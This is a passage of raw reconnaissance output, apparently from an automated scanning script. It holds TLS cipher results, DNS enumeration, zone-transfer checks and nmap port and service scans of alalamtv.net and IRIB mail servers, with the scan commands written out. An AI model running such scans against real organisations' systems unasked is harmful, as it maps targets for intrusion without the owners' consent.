1419 Issuer: Certum Organization Validation CA SHA2
1420 Serial Number: 43332416588200281326171882260911172895
1421 Not Before: 2019-03-26 17:10:30
1422 Not After: 2020-03-25 17:10:30
1423 Signature Algorithm: sha256
1424 Public Key Algorithm: RSA
1425 Key Size: 2048
1426 Exponent: 65537 (0x10001)
1427 DNS Subject Alternative Names: ['*.alalamtv.net', 'alalamtv.net']
1428
1429 Trust
1430 Hostname Validation: FAILED - Certificate does NOT match 192.99.38.90
1431 Android CA Store (9.0.0_r9): OK - Certificate is trusted
1432 Apple CA Store (iOS 12, macOS 10.14, watchOS 5, and tvOS 12):OK - Certificate is trusted
1433 Java CA Store (jdk-12.0.1): OK - Certificate is trusted
1434 Mozilla CA Store (2019-03-14): OK - Certificate is trusted
1435 Windows CA Store (2019-05-27): OK - Certificate is trusted
1436 Symantec 2018 Deprecation: WARNING: Certificate distrusted by Google and Mozilla on September 2018
1437 Received Chain: *.alalamtv.net --> Certum Trusted Network CA --> Certum Organization Validation CA SHA2 --> Certum CA
1438 Verified Chain: *.alalamtv.net --> Certum Organization Validation CA SHA2 --> Certum Trusted Network CA
1439 Received Chain Contains Anchor: OK - Anchor certificate not sent
1440 Received Chain Order: FAILED - Certificate chain out of order!
1441 Verified Chain contains SHA1: OK - No SHA1-signed certificate in the verified certificate chain
1442
1443 Extensions
1444 OCSP Must-Staple: NOT SUPPORTED - Extension not found
1445 Certificate Transparency: OK - 3 SCTs included
1446
1447 OCSP Stapling
1448 NOT SUPPORTED - Server did not send back an OCSP response
1449
1450 * TLSV1_1 Cipher Suites:
1451 Forward Secrecy OK - Supported
1452 RC4 OK - Not Supported
1453
1454 Preferred:
1455 None - Server followed client cipher suite preference.
1456 Accepted:
1457 TLS_RSA_WITH_CAMELLIA_256_CBC_SHA 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1458 TLS_RSA_WITH_CAMELLIA_128_CBC_SHA 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1459 TLS_RSA_WITH_AES_256_CBC_SHA 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1460 TLS_RSA_WITH_AES_128_CBC_SHA 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1461 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1462 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1463
1464 * TLSV1_2 Cipher Suites:
1465 Forward Secrecy OK - Supported
1466 RC4 OK - Not Supported
1467
1468 Preferred:
1469 None - Server followed client cipher suite preference.
1470 Accepted:
1471 TLS_RSA_WITH_CAMELLIA_256_CBC_SHA 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1472 TLS_RSA_WITH_CAMELLIA_128_CBC_SHA 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1473 TLS_RSA_WITH_AES_256_GCM_SHA384 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1474 TLS_RSA_WITH_AES_256_CBC_SHA256 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1475 TLS_RSA_WITH_AES_256_CBC_SHA 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1476 TLS_RSA_WITH_AES_128_GCM_SHA256 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1477 TLS_RSA_WITH_AES_128_CBC_SHA256 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1478 TLS_RSA_WITH_AES_128_CBC_SHA 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1479 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1480 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1481 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1482 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1483 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1484 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1485
1486 * TLSV1 Cipher Suites:
1487 Forward Secrecy OK - Supported
1488 RC4 OK - Not Supported
1489
1490 Preferred:
1491 None - Server followed client cipher suite preference.
1492 Accepted:
1493 TLS_RSA_WITH_CAMELLIA_256_CBC_SHA 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1494 TLS_RSA_WITH_CAMELLIA_128_CBC_SHA 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1495 TLS_RSA_WITH_AES_256_CBC_SHA 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1496 TLS_RSA_WITH_AES_128_CBC_SHA 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1497 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 256 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1498 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 128 bits HTTP 301 Moved Permanently - https://www.alalamtv.net/
1499
1500 * SSLV3 Cipher Suites:
1501 Server rejected all cipher suites.
1502
1503 * OpenSSL CCS Injection:
1504 OK - Not vulnerable to OpenSSL CCS injection
1505
1506 * Session Renegotiation:
1507 Client-initiated Renegotiation: OK - Rejected
1508 Secure Renegotiation: OK - Supported
1509
1510 * TLS 1.2 Session Resumption Support:
1511 With Session IDs: NOT SUPPORTED (0 successful, 5 failed, 0 errors, 5 total attempts).
1512 With TLS Tickets: OK - Supported
1513
1514 * SSLV2 Cipher Suites:
1515 Server rejected all cipher suites.
1516
1517 * Deflate Compression:
1518 OK - Compression disabled
1519
1520 * TLSV1_3 Cipher Suites:
1521 Server rejected all cipher suites.
1522
1523 * OpenSSL Heartbleed:
1524 OK - Not vulnerable to Heartbleed
1525
1526 * ROBOT Attack:
1527 OK - Not vulnerable
1528
1529
1530 SCAN COMPLETED IN 21.97 S
1531 -------------------------
1532#######################################################################################################################################
1533Domains still to check: 1
1534 Checking if the hostname alalamtv.net. given is in fact a domain...
1535
1536Analyzing domain: alalamtv.net.
1537 Checking NameServers using system default resolver...
1538 IP: 69.30.251.226 (United States)
1539 HostName: ns4.alalamtv.net Type: NS
1540 IP: 192.99.38.90 (Canada)
1541 HostName: ns3.alalamtv.net Type: NS
1542 HostName: ns502056.ip-192-99-38.net Type: PTR
1543
1544 Checking MailServers using system default resolver...
1545 IP: 77.36.164.105 (Iran, Islamic Republic of)
1546 HostName: memxh.irib.ir Type: MX
1547 HostName: memxh.irib.ir Type: PTR
1548 IP: 77.36.164.103 (Iran, Islamic Republic of)
1549 HostName: memxf.irib.ir Type: MX
1550 HostName: memxf.irib.ir Type: PTR
1551 IP: 77.36.164.104 (Iran, Islamic Republic of)
1552 HostName: memxg.irib.ir Type: MX
1553 HostName: memxg.irib.ir Type: PTR
1554 IP: 77.36.164.106 (Iran, Islamic Republic of)
1555 HostName: memxi.irib.ir Type: MX
1556 HostName: memxi.irib.ir Type: PTR
1557
1558 Checking the zone transfer for each NS... (if this takes more than 10 seconds, just hit CTRL-C and it will continue. Bug in the libs)
1559 No zone transfer found on nameserver 69.30.251.226
1560 No zone transfer found on nameserver 192.99.38.90
1561
1562 Checking SPF record...
1563
1564 Checking 192 most common hostnames using system default resolver...
1565 IP: 192.99.38.90 (Canada)
1566 HostName: ns3.alalamtv.net Type: NS
1567 HostName: ns502056.ip-192-99-38.net Type: PTR
1568 HostName: www.alalamtv.net. Type: A
1569 IP: 54.36.51.175 (France)
1570 HostName: ftp.alalamtv.net. Type: A
1571 IP: 77.36.164.107 (Iran, Islamic Republic of)
1572 HostName: mail.alalamtv.net. Type: A
1573 IP: 77.36.164.108 (Iran, Islamic Republic of)
1574 HostName: mail.alalamtv.net. Type: A
1575 IP: 192.99.38.90 (Canada)
1576 HostName: ns3.alalamtv.net Type: NS
1577 HostName: ns502056.ip-192-99-38.net Type: PTR
1578 HostName: www.alalamtv.net. Type: A
1579 HostName: cp.alalamtv.net. Type: A
1580 IP: 2.188.3.60 (Iran, Islamic Republic of)
1581 HostName: ns1.alalamtv.net. Type: A
1582 IP: 46.209.229.60 (Iran, Islamic Republic of)
1583 HostName: ns2.alalamtv.net. Type: A
1584 IP: 77.36.164.112 (Iran, Islamic Republic of)
1585 HostName: webmail.alalamtv.net. Type: A
1586 IP: 77.36.164.111 (Iran, Islamic Republic of)
1587 HostName: webmail.alalamtv.net. Type: A
1588 IP: 142.54.186.50 (United States)
1589 HostName: search.alalamtv.net. Type: A
1590
1591 Checking with nmap the reverse DNS hostnames of every <ip>/24 netblock using system default resolver...
1592 Checking netblock 77.36.164.0
1593 Checking netblock 69.30.251.0
1594 Checking netblock 46.209.229.0
1595 Checking netblock 142.54.186.0
1596 Checking netblock 2.188.3.0
1597 Checking netblock 54.36.51.0
1598 Checking netblock 192.99.38.0
1599
1600 Searching for alalamtv.net. emails in Google
1601
1602 Checking 14 active hosts using nmap... (nmap -sn -n -v -PP -PM -PS80,25 -PA -PY -PU53,40125 -PE --reason <ip> -oA <output_directory>/nmap/<ip>.sn)
1603 Host 77.36.164.111 is up (reset ttl 64)
1604 Host 69.30.251.226 is up (echo-reply ttl 53)
1605 Host 46.209.229.60 is up (reset ttl 64)
1606 Host 142.54.186.50 is up (reset ttl 64)
1607 Host 77.36.164.103 is up (reset ttl 64)
1608 Host 77.36.164.104 is up (reset ttl 64)
1609 Host 77.36.164.105 is up (reset ttl 64)
1610 Host 77.36.164.106 is up (reset ttl 64)
1611 Host 77.36.164.107 is up (reset ttl 64)
1612 Host 77.36.164.108 is up (reset ttl 64)
1613 Host 2.188.3.60 is up (reset ttl 64)
1614 Host 54.36.51.175 is up (reset ttl 64)
1615 Host 192.99.38.90 is up (reset ttl 64)
1616 Host 77.36.164.112 is up (reset ttl 64)
1617
1618 Checking ports on every active host using nmap... (nmap -O --reason --webxml --traceroute -sS -sV -sC -Pn -n -v -F <ip> -oA <output_directory>/nmap/<ip>)
1619 Scanning ip 77.36.164.111 (webmail.alalamtv.net.):
1620 80/tcp open http syn-ack ttl 39 Server 1.0
1621 | fingerprint-strings:
1622 | FourOhFourRequest:
1623 | HTTP/1.1 301 Moved Permanently
1624 | Date: Mon, 25 Nov 2019 02:11:53 GMT
1625 | Server: Server 1.0
1626 | Location: https://mchautha.irib.ir/403.html
1627 | Content-Length: 241
1628 | Connection: close
1629 | Content-Type: text/html; charset=iso-8859-1
1630 | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
1631 | <html><head>
1632 | <title>301 Moved Permanently</title>
1633 | </head><body>
1634 | <h1>Moved Permanently</h1>
1635 | <p>The document has moved <a href="https://mchautha.irib.ir/403.html">here</a>.</p>
1636 | </body></html>
1637 | GetRequest, HTTPOptions, RTSPRequest:
1638 | HTTP/1.1 301 Moved Permanently
1639 | Date: Mon, 25 Nov 2019 02:11:47 GMT
1640 | Server: Server 1.0
1641 | Location: https://mchautha.irib.ir/
1642 | Content-Length: 233
1643 | Connection: close
1644 | Content-Type: text/html; charset=iso-8859-1
1645 | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
1646 | <html><head>
1647 | <title>301 Moved Permanently</title>
1648 | </head><body>
1649 | <h1>Moved Permanently</h1>
1650 | <p>The document has moved <a href="https://mchautha.irib.ir/">here</a>.</p>
1651 |_ </body></html>
1652 | http-methods:
1653 |_ Supported Methods: GET HEAD POST OPTIONS
1654 |_http-server-header: Server 1.0
1655 |_http-title: Did not follow redirect to https://77.36.164.111/
1656 443/tcp open ssl/https syn-ack ttl 39 Server 1.0
1657 | fingerprint-strings:
1658 | FourOhFourRequest:
1659 | HTTP/1.1 200 OK
1660 | Date: Mon, 25 Nov 2019 02:11:56 GMT
1661 | Server: Server 1.0
1662 | X-Frame-Options: SAMEORIGIN
1663 | X-Content-Type-Options: nosniff
1664 | X-XSS-Protection: 1; mode=block
1665 | Expires: Mon, 02 Dec 2019 02:11:56 GMT
1666 | Cache-Control: public, max-age=604800
1667 | Content-Type: text/html
1668 | Last-Modified: Mon, 20 May 2019 11:44:19 GMT
1669 | Accept-Ranges: bytes
1670 | Vary: Accept-Encoding,User-Agent
1671 | Content-Length: 25813
1672 | Connection: close
1673 | <!DOCTYPE html>
1674 | <html lang="en">
1675 | <head>
1676 | <meta charset="UTF-8">
1677 | <title>
1678 | </title>
1679 | <meta http-equiv='Content-Type' content='text/html; charset=utf8'>
1680 | <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
1681 | <META HTTP-EQUIV='CACHE-CONTROL' CONTENT='NO-CACHE'>
1682 | <META HTTP-EQUIV='EXPIRES' CONTENT='0' />
1683 | <META HTTP-EQUIV='PRAGMA' CONTENT='NO-CACHE'>
1684 | <META HTTP-EQUIV='REFRESH' CONTENT='30;URL=
1685 | GetRequest:
1686 | HTTP/1.1 200 OK
1687 | Date: Mon, 25 Nov 2019 02:11:53 GMT
1688 | Server: Server 1.0
1689 | X-Frame-Options: SAMEORIGIN
1690 | X-Content-Type-Options: nosniff
1691 | X-XSS-Protection: 1; mode=block
1692 | Cache-Control: no-store, no-cache, must-revalidate, max-age=0
1693 | Pragma: no-cache
1694 | Content-Type: text/html;charset=UTF-8
1695 | Content-Language: fa
1696 | Expires: Thu, 01 Jan 1970 00:00:00 GMT
1697 | Vary: Accept-Encoding,User-Agent
1698 | Content-Length: 9960
1699 | Set-Cookie: SZSESSION=4057tuozjiq5nphfp8g6707s;Path=/;HttpOnly;Secure
1700 | Set-Cookie: CHMAIL_TEST=true;Secure
1701 | Connection: close
1702 | <!DOCTYPE html>
1703 | <html class="no-js" lang="en">
1704 | <head>
1705 | <meta charset="UTF-8">
1706 | <meta http-equiv="X-UA-Compatible" content="IE=9; IE=8; IE=7; IE=EDGE"/>
1707 | <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=8.0, user-scalable=1"/>
1708 | <meta name="viewport" content="width=device-width"/>
1709 | <meta name="description"
1710 | HTTPOptions:
1711 | HTTP/1.1 200 OK
1712 | Date: Mon, 25 Nov 2019 02:11:55 GMT
1713 | Server: Server 1.0
1714 | X-Frame-Options: SAMEORIGIN
1715 | X-Content-Type-Options: nosniff
1716 | X-XSS-Protection: 1; mode=block
1717 | Expires: Mon, 24 Jan 2000 20:46:50 GMT
1718 | Cache-Control: no-store, no-cache, must-revalidate, max-age=0
1719 | Pragma: no-cache
1720 | Allow: GET,HEAD,POST,OPTIONS
1721 | Content-Length: 0
1722 |_ Connection: close
1723 |_http-favicon: Unknown favicon MD5: 3CE0B42B6DC7FDFA1CA72CF166798090
1724 | http-methods:
1725 |_ Supported Methods: GET HEAD POST OPTIONS
1726 |_http-server-header: Server 1.0
1727 |_http-title: \xD8\xB5\xD8\xAF\xD8\xA7 \xD9\x88 \xD8\xB3\xDB\x8C\xD9\x85\xD8\xA7\xDB\x8C \xD8\xAC\xD9\x85\xD9\x87\xD9\x88\xD8\xB1\xDB\x8C \xD8\xA7\xD8\xB3\xD9\x84\xD8\xA7\xD9\x85\xDB\x8C \xD8\xA7\xDB\x8C\xD8\xB1\xD8\xA7\xD9\x86
1728 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1729 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1730 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1731 | Public Key type: rsa
1732 | Public Key bits: 2048
1733 | Signature Algorithm: sha256WithRSAEncryption
1734 | Not valid before: 2017-02-16T07:54:42
1735 | Not valid after: 2020-02-16T07:54:42
1736 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1737 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1738 |_ssl-date: TLS randomness does not represent time
1739 | tls-alpn:
1740 |_ http/1.1
1741 Scanning ip 69.30.251.226 (ns4.alalamtv.net):
1742 Scanning ip 46.209.229.60 (ns2.alalamtv.net.):
1743 53/tcp open domain? syn-ack ttl 107
1744 | fingerprint-strings:
1745 | DNSVersionBindReqTCP:
1746 | version
1747 |_ bind
1748 Scanning ip 142.54.186.50 (search.alalamtv.net.):
1749 80/tcp open http-proxy syn-ack ttl 51 Varnish http accelerator
1750 | http-methods:
1751 |_ Supported Methods: GET HEAD POST OPTIONS
1752 |_http-server-header: Varnish
1753 |_http-title: Did not follow redirect to https://www.alalamtv.net/
1754 443/tcp open ssl/http syn-ack ttl 53 nginx
1755 | http-methods:
1756 |_ Supported Methods: GET POST OPTIONS
1757 |_http-title: Did not follow redirect to https://www.alalamtv.net/
1758 | ssl-cert: Subject: commonName=*.alalamtv.net/organizationName=Alalam News Network/stateOrProvinceName=Tehran/countryName=IR
1759 | Subject Alternative Name: DNS:*.alalamtv.net, DNS:alalamtv.net
1760 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1761 | Public Key type: rsa
1762 | Public Key bits: 2048
1763 | Signature Algorithm: sha256WithRSAEncryption
1764 | Not valid before: 2019-03-26T17:10:30
1765 | Not valid after: 2020-03-25T17:10:30
1766 | MD5: e3e1 1754 be6d 2711 c449 5b59 fc4a 68fb
1767 |_SHA-1: e926 36e6 cade 1c52 a9c1 bd46 83af d03d fdb9 585c
1768 |_ssl-date: TLS randomness does not represent time
1769 | tls-alpn:
1770 |_ http/1.1
1771 | tls-nextprotoneg:
1772 |_ http/1.1
1773 Scanning ip 77.36.164.103 (memxf.irib.ir (PTR)):
1774 465/tcp open ssl/smtp syn-ack ttl 39 Postfix smtpd
1775 |_smtp-commands: memxf.irib.ir, PIPELINING, SIZE 35883008, VRFY, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
1776 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1777 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1778 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1779 | Public Key type: rsa
1780 | Public Key bits: 2048
1781 | Signature Algorithm: sha256WithRSAEncryption
1782 | Not valid before: 2017-02-16T07:54:42
1783 | Not valid after: 2020-02-16T07:54:42
1784 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1785 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1786 |_ssl-date: TLS randomness does not represent time
1787 Device type: general purpose|WAP
1788 Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (91%)
1789 OS Info: Service Info: Host: memxf.irib.ir
1790 Scanning ip 77.36.164.104 (memxg.irib.ir (PTR)):
1791 465/tcp open ssl/smtp syn-ack ttl 39 Postfix smtpd
1792 |_smtp-commands: memxg.irib.ir, PIPELINING, SIZE 35883008, VRFY, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
1793 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1794 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1795 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1796 | Public Key type: rsa
1797 | Public Key bits: 2048
1798 | Signature Algorithm: sha256WithRSAEncryption
1799 | Not valid before: 2017-02-16T07:54:42
1800 | Not valid after: 2020-02-16T07:54:42
1801 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1802 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1803 |_ssl-date: TLS randomness does not represent time
1804 Device type: general purpose|WAP
1805 Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (91%)
1806 OS Info: Service Info: Host: memxg.irib.ir
1807 Scanning ip 77.36.164.105 (memxh.irib.ir (PTR)):
1808 465/tcp open ssl/smtp syn-ack ttl 39 Postfix smtpd
1809 |_smtp-commands: memxh.irib.ir, PIPELINING, SIZE 35883008, VRFY, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
1810 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1811 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1812 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1813 | Public Key type: rsa
1814 | Public Key bits: 2048
1815 | Signature Algorithm: sha256WithRSAEncryption
1816 | Not valid before: 2017-02-16T07:54:42
1817 | Not valid after: 2020-02-16T07:54:42
1818 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1819 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1820 |_ssl-date: TLS randomness does not represent time
1821 Device type: general purpose|WAP
1822 Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (91%)
1823 OS Info: Service Info: Host: memxh.irib.ir
1824 Scanning ip 77.36.164.106 (memxi.irib.ir (PTR)):
1825 Scanning ip 77.36.164.107 (mail.alalamtv.net.):
1826 110/tcp open pop3 syn-ack ttl 39 Zimbra Collabration Suite pop3d
1827 |_pop3-capabilities: TOP UIDL XOIP STLS EXPIRE(31 USER) USER SASL(PLAIN)
1828 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1829 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1830 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1831 | Public Key type: rsa
1832 | Public Key bits: 2048
1833 | Signature Algorithm: sha256WithRSAEncryption
1834 | Not valid before: 2017-02-16T07:54:42
1835 | Not valid after: 2020-02-16T07:54:42
1836 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1837 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1838 |_ssl-date: TLS randomness does not represent time
1839 143/tcp open imap-proxy syn-ack ttl 39 nginx imap proxy
1840 |_imap-capabilities: THREAD=ORDEREDSUBJECT completed OK CONDSTORE NAMESPACE LIST-EXTENDED ESORT AUTH=PLAIN IDLE WITHIN RIGHTS=ektx UIDPLUS ACL SORT I18NLEVEL=1 SEARCHRES SASL-IR CATENATE UNSELECT QUOTA IMAP4rev1 LITERAL+ MULTIAPPEND QRESYNC ID STARTTLSA0001 BINARY CHILDREN ENABLE ESEARCH
1841 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1842 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1843 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1844 | Public Key type: rsa
1845 | Public Key bits: 2048
1846 | Signature Algorithm: sha256WithRSAEncryption
1847 | Not valid before: 2017-02-16T07:54:42
1848 | Not valid after: 2020-02-16T07:54:42
1849 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1850 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1851 |_ssl-date: TLS randomness does not represent time
1852 465/tcp open ssl/smtp syn-ack ttl 39 Postfix smtpd
1853 |_smtp-commands: miprxj.irib.ir, PIPELINING, SIZE 35883008, VRFY, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
1854 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1855 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1856 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1857 | Public Key type: rsa
1858 | Public Key bits: 2048
1859 | Signature Algorithm: sha256WithRSAEncryption
1860 | Not valid before: 2017-02-16T07:54:42
1861 | Not valid after: 2020-02-16T07:54:42
1862 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1863 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1864 |_ssl-date: TLS randomness does not represent time
1865 993/tcp open ssl/imap-proxy syn-ack ttl 39 nginx imap proxy
1866 |_imap-capabilities: THREAD=ORDEREDSUBJECT completed CONDSTORE NAMESPACE LIST-EXTENDED OK AUTH=PLAINA0001 IDLE WITHIN RIGHTS=ektx UIDPLUS ACL SORT I18NLEVEL=1 SEARCHRES SASL-IR CATENATE UNSELECT QUOTA IMAP4rev1 LITERAL+ MULTIAPPEND QRESYNC ID ESORT BINARY CHILDREN ENABLE ESEARCH
1867 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1868 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1869 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1870 | Public Key type: rsa
1871 | Public Key bits: 2048
1872 | Signature Algorithm: sha256WithRSAEncryption
1873 | Not valid before: 2017-02-16T07:54:42
1874 | Not valid after: 2020-02-16T07:54:42
1875 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1876 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1877 |_ssl-date: TLS randomness does not represent time
1878 995/tcp open ssl/pop3 syn-ack ttl 39 Zimbra Collabration Suite pop3d
1879 |_pop3-capabilities: TOP UIDL XOIP EXPIRE(31 USER) USER SASL(PLAIN)
1880 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1881 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1882 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1883 | Public Key type: rsa
1884 | Public Key bits: 2048
1885 | Signature Algorithm: sha256WithRSAEncryption
1886 | Not valid before: 2017-02-16T07:54:42
1887 | Not valid after: 2020-02-16T07:54:42
1888 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1889 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1890 |_ssl-date: TLS randomness does not represent time
1891 Device type: general purpose|WAP
1892 Running (JUST GUESSING): Linux 2.6.X|2.4.X|3.X (91%)
1893 OS Info: Service Info: Host: miprxj.irib.ir
1894 Scanning ip 77.36.164.108 (mail.alalamtv.net.):
1895 110/tcp open pop3 syn-ack ttl 39 Zimbra Collabration Suite pop3d
1896 |_pop3-capabilities: XOIP UIDL SASL(PLAIN) EXPIRE(31 USER) STLS USER TOP
1897 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1898 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1899 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1900 | Public Key type: rsa
1901 | Public Key bits: 2048
1902 | Signature Algorithm: sha256WithRSAEncryption
1903 | Not valid before: 2017-02-16T07:54:42
1904 | Not valid after: 2020-02-16T07:54:42
1905 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1906 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1907 |_ssl-date: TLS randomness does not represent time
1908 143/tcp open imap-proxy syn-ack ttl 39 nginx imap proxy
1909 |_imap-capabilities: CATENATE AUTH=PLAIN QRESYNC completed OK CONDSTORE MULTIAPPEND SEARCHRES STARTTLSA0001 WITHIN CHILDREN I18NLEVEL=1 UNSELECT UIDPLUS THREAD=ORDEREDSUBJECT IDLE NAMESPACE ID SORT SASL-IR QUOTA RIGHTS=ektx BINARY ENABLE ACL ESORT ESEARCH LITERAL+ LIST-EXTENDED IMAP4rev1
1910 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1911 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1912 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1913 | Public Key type: rsa
1914 | Public Key bits: 2048
1915 | Signature Algorithm: sha256WithRSAEncryption
1916 | Not valid before: 2017-02-16T07:54:42
1917 | Not valid after: 2020-02-16T07:54:42
1918 | MD5: 94bc 7214 f71f b558 2276 43de d4e7 f00b
1919 |_SHA-1: 9ac9 93fe e3e4 8982 5a0b 8233 42a3 c0f5 bc68 af0c
1920 |_ssl-date: TLS randomness does not represent time
1921 465/tcp open ssl/smtp syn-ack ttl 39 Postfix smtpd
1922 |_smtp-commands: miprxk.irib.ir, PIPELINING, SIZE 35883008, VRFY, ETRN, AUTH PLAIN LOGIN, AUTH=PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
1923 | ssl-cert: Subject: commonName=*.irib.ir/organizationName=IRIB/countryName=IR
1924 | Subject Alternative Name: DNS:*.irib.ir, DNS:irib.ir
1925 | Issuer: commonName=Certum Organization Validation CA SHA2/organizationName=Unizeto Technologies S.A./countryName=PL
1926 | Public Key type: rsa
1927 | Public Key bits: 2048
1928 | Signature Algorithm: sha256WithRSAEncryption
1929 | Not valid before: 2017-02-16T07:54:42
1930 | Not valid after: 2020-02-16T07:54:42
